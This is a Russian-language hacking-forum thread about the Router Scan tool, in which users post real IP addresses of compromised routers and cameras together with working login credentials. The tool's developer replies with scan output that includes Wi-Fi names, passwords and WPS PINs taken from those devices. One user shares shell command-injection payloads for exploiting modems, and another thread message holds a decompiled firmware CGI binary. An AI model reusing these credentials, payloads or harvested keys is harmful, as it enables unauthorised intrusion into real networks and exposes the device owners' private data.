прога Router Scan

C0D3BR34K3R · 5 Jul 2017

binarymaster
есть возможность для билайновских смарт-боксов добавить парсинг серийника в коммент, также как этого сделано для акадовских роутеров?

kadet · 5 Jul 2017

Нашел статейку о доступе к китайским камерам http://www.instructables.com/id/Hack-a-30-WiFi-Pan-Tilt-Camera-Video-Audio-and-Mot/ Может пригодиться ?

binarymaster · 5 Jul 2017

Felis-Sapiens said: ↑

Выяснилось, что нельзя
Click to expand...

Реализовал POC в RS.

Кстати, часть роутеров либо неуязвима, либо команда другая.

C0D3BR34K3R said: ↑

для билайновских смарт-боксов добавить парсинг серийника в коммент
Click to expand...

Добавил.

pkrw88 · 5 Jul 2017

FOSCAM QV_IPC X10-Build:20140507R | V3.71.02.1972
некорректно считывает настройки wlan

95 25 61 185
essid:
rodnik" ;
var wifikeytype = "3" ;
var wifiwhichkey = "0" ;
var wifikey="sp19804s20f7gbsp" ;
var linkstatus="1" ;
var wifienable="1" ;

и еще, после того, как происходит повреждение памяти в проге, после ее закрытия остается висеть процесс, который неслабо отжирает cpu

binarymaster · 5 Jul 2017

pkrw88 said: ↑

FOSCAM QV_IPC X10-Build:20140507R | V3.71.02.1972
некорректно считывает настройки wlan
Click to expand...

Уже пофикшено.

Pebenok70 · 5 Jul 2017

Открытый MikroTik. Это ничем не поможет?
91.238.28.96:80 admin:<empty> MikroTik RouterOS v6.35.4
91.238.28.97:80 admin:<empty> MikroTik RouterOS v6.35.4

binarymaster · 5 Jul 2017

Code:

Address: http://91.238.28.96/
Time: 93 ms
Authorization: admin:<empty>
Device: MikroTik RouterOS v6.35.4
BSSID: 00:0C:42:94:41:58
ESSID: NTR-muk2
LAN IP: 10.202.84.100
LAN Subnet Mask: 255.255.254.0
WAN IP: 192.168.88.1
WAN Subnet Mask: 255.255.255.0
WAN Gateway: 10.202.84.1
Domain Name Servers: 8.8.8.8 208.67.220.222
_________________

Address: http://91.238.28.97/
Time: 4571 ms
Authorization: admin:<empty>
Device: MikroTik RouterOS v6.35.4
BSSID: 00:0C:42:94:41:58
ESSID: NTR-muk2
LAN IP: 10.202.84.112
LAN Subnet Mask: 255.255.254.0
WAN IP: 192.168.88.1
WAN Subnet Mask: 255.255.255.0
WAN Gateway: 10.202.84.1
Domain Name Servers: 8.8.8.8 208.67.220.222

Felis-Sapiens · 5 Jul 2017

binarymaster said: ↑

Кстати, часть роутеров либо неуязвима, либо команда другая.
Click to expand...

Это более старые модемы. Там нет папки /www/asp и ssiget. Можно, например, через ifconfig вытащить BSSID:
Code:
PAYLOAD='$(export d=${PATH:0:1}; mkdir ${d}www${d}asp; ifconfig > ${d}www${d}asp${d}temp.asp)'
или, как вариант:
Code:
PAYLOAD='$(cd ..;cd ..;cd www;mkdir asp;cd asp;ifconfig>temp.asp)'
Для новых тоже должно работать

VasiliyP · 5 Jul 2017

Felis-Sapiens said: ↑

PHP:

#include <stdio.h> #include <strings.h> int main(int argc, const char **argv, const char **envp) { char page[52]; int i, var_C; char *ptr; var_C = 0; ptr = get_query(stdin); init_cgi(ptr); ; strcpy(page, get_cgi("page")); var_48 = getenv("REMOTE_ADDR"); var_44 = getenv("REQUEST_METHOD"); if (strstr(page, "..") != NULL || strchr(page, "/") != NULL) { fwrite("Content-Type: text/html\r\n\r\n", 1, 0x1B, stdout); fwrite("Wrong Page.", 1, 0xB, stdout); init_cgi(0); free(ptr); return 0; } if (strcmp(page, "mfg") == 0) { sub_4014B8(stdout); init_cgi(0); free(ptr); return 0; } if (strcasecmp(get_cgi("action"), "request") == 0) { webs_write(page, stdout); init_cgi(0); free(ptr); return 0; } i = 0; while (1) { if (strcmp(page, off_41A5A0[2 * i]) == 0) { off_41A5A0[2 * i + 1](page, var_C, stdout); break; } if (off_41A5A0[2 * i] == 0) break; ++i; } if (dword_41A7C0 != 0) webs_redirect(0, "reboot", 0, stdout); else if (dword_41A7C4 != 0) system("(sleep 3 && reboot) >/dev/null 2>&1 &"); if (page[0] != '\0') webs_redirect(0, page, var_C, stdout); init_cgi(0); free(ptr); return 0; } void sub_4014B8(FILE *out_stream) { char *action; char cmd[0x400]; action = get_cgi("action"); fwrite("Content-Type: text/html\r\n\r\n", 1, 0x1B, out_stream); if (strcmp(action, "11") == 0) { memset(cmd, 0, 0x400); sprintf(cmd, "ipkg -f %s remove telnetd > /dev/null", "/etc/conf/app/ipkg.conf"); system(cmd); } else if (strcmp(action, "12") == 0) { unlink("/mnt/jffs2/ipkg/lists/openwmx"); unlink("/mnt/jffs2/ipkg/lists/devicesw"); unlink("/tmp/upgrade_success"); ipkg_install(stdin); } else if (strcmp(action, "1") == 0) { fputs(sub_4040C0("/Yota_VERSION"), out_stream); } else if (strcmp(action, "16") == 0) { fputs(sub_404230("serial"), out_stream); } else if (strcmp(action, "19") == 0) { fputs(sub_404230("hid"), out_stream); } else if (strcmp(action, "20") == 0) { fputs(sub_404230("cid"), out_stream); } else if (strcmp(action, "21") == 0) { fputs(sub_404230("pid"), out_stream); } else if (strcmp(action, "22") == 0) { fputs(sub_404230("mid"), out_stream); } else if (strcmp(action, "24") == 0) { fputs(sub_4013B4("cd /usr/factory; ./mp_tool imei read"), out_stream); } else if (strcmp(action, "28") == 0) { fputs(sub_404230("lanaddr"), out_stream); } else if (strcmp(action, "29") == 0) { fputs(sub_404230("hostaddr"), out_stream); } else if (strcmp(action, "30") == 0) { fputs(sub_4013B4("cd /usr/factory; ./mp_tool led on"), out_stream); } else if (strcmp(action, "31") == 0) { fputs(sub_4013B4("cd /usr/factory; ./mp_tool led off"), out_stream); } else if (strcmp(action, "32") == 0) { fputs(sub_4013B4("cd /usr/factory; ./mp_tool imsi read"), out_stream); } return; } int ipkg_install(FILE *in_stream) { char fname[0x100], cmd[0x80], verif_res[0xA]; FILE *chk_stream; int i_ret; chk_stream = NULL; i_ret = 1; update_upload_status("Downloading"); if (sub_408B4C(fname, in_stream) == 0) { i_ret = 2; update_upload_status("DownloadFail"); goto loc_exit; } update_upload_status("Installing"); sprintf(cmd, "/bin/ipkg_verify.sh %s > /dev/null", fname); system(cmd); chk_stream = fopen("/tmp/ipkg.chk", "r"); if (chk_stream == NULL) { i_ret = 2; update_upload_status("InstallFail"); goto loc_exit; } if (fgets(verif_res, 0xA, chk_stream) == 0) { i_ret = 2; update_upload_status("InstallFail"); goto loc_exit; } if (strcmp(verif_res, "1") != 0) { i_ret = 2; update_upload_status("InstallFail"); goto loc_exit; } if (strstr(fname, ".ipk") != NULL) { sprintf(cmd, "/bin/ipkg -f /etc/conf/app/ipkg.conf install '%s' > /tmp/ipkg.log 2>&1", fname); system(cmd); } i_ret = 0; loc_exit: if (chk_stream != NULL) fclose(chk_stream); unlink(fname); return i_ret; } int sub_408B4C(char *fname, FILE *in_stream) { int i_ret, unread_len; char boundary[0x80]; i_ret = 0; if (sub_4085BC(fname, boundary, &unread_len, in_stream) != 0 && sub_40820C(fname, boundary, unread_len, in_stream) != 0) { i_ret = 1; } if (i_ret == 0) unlink(fname); return i_ret; } int sub_4085BC(char *fname, char *boundary, int *p_unread_len, FILE *in_stream) { int left_bytes; char *content_type, *p_name_start, *p_name_end, *p_path_delim; char buffer[0x1000]; p_name_end = NULL; if (strncasecmp(getenv("REQUEST_METHOD"), "POST", 4) != 0) return 0; if (boundary != NULL) { content_type = getenv("CONTENT_TYPE"); if (strncasecmp(content_type, "multipart/form-data; boundary=", 0x1E) != 0) return 0; sprintf(boundary, "--%s", content_type + 0x1E); } if (getenv("CONTENT_LENGTH") == NULL) return 0; left_bytes = strtoul(getenv("CONTENT_LENGTH"), 0, 0); if (fname != NULL) { memcpy(fname, "/upload/", 9); while (left_bytes != 0) { bzero(buffer, 0x1000); if (fgets(buffer, 0x1000, in_stream) == 0) return 0; left_bytes -= strlen(buffer); if (strncasecmp(buffer, "Content-Disposition:", 0x14) != 0) continue; if (strcasestr(buffer, "name=\"file\"") == NULL && strcasestr(buffer, "name=\"updateFwFile\"") == NULL) continue; p_name_start = strstr(buffer, "filename=\""); if (p_name_start == NULL) continue; p_path_delim = strrchr(p_name_start, '\\'); if (p_path_delim == NULL) { p_path_delim = strrchr(p_name_start, '/'); } if (p_path_delim == NULL) p_name_start += 0xA; else p_name_start = p_path_delim + 1; p_name_end = strchr(p_name_start, '"'); if (p_name_end != NULL) *p_name_end = '\0'; strcat(fname, p_name_start); break; } } while (left_bytes != 0) { if (fgets(buffer, 0x1000, in_stream) == 0) return 0; left_bytes -= strlen(buffer); if (strcmp(buffer, "\n") == 0) break; if (strcmp(buffer, "\r\n") == 0) break; } if (p_unread_len != NULL) *p_unread_len = left_bytes; return 1; }

Click to expand...

Если не секрет, как данный декомпил получен?

Felis-Sapiens · 5 Jul 2017

VasiliyP said: ↑

Если не секрет, как данный декомпил получен?
Click to expand...

Вручную из дизассемблированного IDA. С оглядкой на snowman. JEB ещё недавно для MIPS сделали (https://www.pnfsoftware.com/jeb2/demomips) - я особо не разбирался, показалось, что пока не очень.

VasiliyP · 5 Jul 2017

Felis-Sapiens said: ↑

Вручную из дизассемблированного IDA. С оглядкой на snowman. JEB ещё недавно для MIPS сделали (https://www.pnfsoftware.com/jeb2/demomips) - я пока особо не разбирался, показалось, что пока не очень.
Click to expand...

Thanks.

Pebenok70 · 6 Jul 2017

Посмотрите 62.76.104.129:80 admin:admin Huawei WS319 Wireless Router
RS молчит, через веб заходишь.

binarymaster · 6 Jul 2017

Pebenok70 said: ↑

Посмотрите 62.76.104.129:80 admin:admin Huawei WS319 Wireless Router
RS молчит, через веб заходишь.
Click to expand...

Таймаут соединения, роутер недоступен.

UPD: нашёл по другому IP, пофиксил.

binarymaster said: ↑

Может добавим эту морду в поддержку RS?
Click to expand...

yx-ex said: ↑

Пиши что делать,без проблем))
Click to expand...

Добавил вуйфуй (KuWFi CPE150 / CPE830 / HWAP20Q) в поддержку.

Pebenok70 · 6 Jul 2017

Динамические ip у нас. 62.76.104.43:80 сейчас.

binarymaster · 6 Jul 2017

Pebenok70 said: ↑

Динамические ip у нас. 62.76.104.43:80 сейчас.
Click to expand...

Пофиксил.

Pebenok70 · 6 Jul 2017

С вот этим тоже, через раз 92.38.37.67:80 admin:t3mp0Pa55 ASUS RT-N12VP

binarymaster · 6 Jul 2017

Pebenok70 said: ↑

С вот этим тоже, через раз 92.38.37.67:80 admin:t3mp0Pa55 ASUS RT-N12VP
Click to expand...

"Через раз" не наблюдаю, всё парсится.

Pebenok70 · 6 Jul 2017

Тогда у меня что-то. Извиняюсь за беспокойство. Я ещё ребёнок в этом вопросе))

pkrw88 · 6 Jul 2017

Totolink N300RT admin admin
http://46.149.176.221:5555/

не извлекается bssid

binarymaster · 6 Jul 2017

Извлекается:

Code:

Address: http://46.149.176.221:5555/
Time: 109 ms
Authorization: admin:admin
Device: TOTOLINK N300RT (Firmware V2.1.6)
BSSID: 00:00:00:00:00:00
ESSID: KRYLA
Security type: WPA/WPA2
Key: UKR_9073
WPS Pin: 99956042
LAN IP: 192.168.1.1
LAN Subnet Mask: 255.255.255.0
WAN IP: 46.149.176.221
WAN Subnet Mask: 255.255.255.255
WAN Gateway: 172.21.0.7

прога Router Scan

C0D3BR34K3R Well-Known Member

kadet Banned

binarymaster Elder - Старейшина

pkrw88 Member

binarymaster Elder - Старейшина

Pebenok70 Member

binarymaster Elder - Старейшина

Felis-Sapiens Reservists Of Antichat

VasiliyP Elder - Старейшина

Felis-Sapiens Reservists Of Antichat

VasiliyP Elder - Старейшина

Pebenok70 Member

binarymaster Elder - Старейшина

Pebenok70 Member

binarymaster Elder - Старейшина

Pebenok70 Member

binarymaster Elder - Старейшина

Pebenok70 Member

pkrw88 Member

binarymaster Elder - Старейшина

Useful Searches

прога Router Scan

C0D3BR34K3R Well-Known Member

kadet Banned

binarymaster Elder - Старейшина

pkrw88 Member

binarymaster Elder - Старейшина

Pebenok70 Member

binarymaster Elder - Старейшина

Felis-Sapiens Reservists Of Antichat

VasiliyP Elder - Старейшина

Felis-Sapiens Reservists Of Antichat

VasiliyP Elder - Старейшина

Pebenok70 Member

binarymaster Elder - Старейшина

Pebenok70 Member

binarymaster Elder - Старейшина

Pebenok70 Member

binarymaster Elder - Старейшина

Pebenok70 Member

pkrw88 Member

binarymaster Elder - Старейшина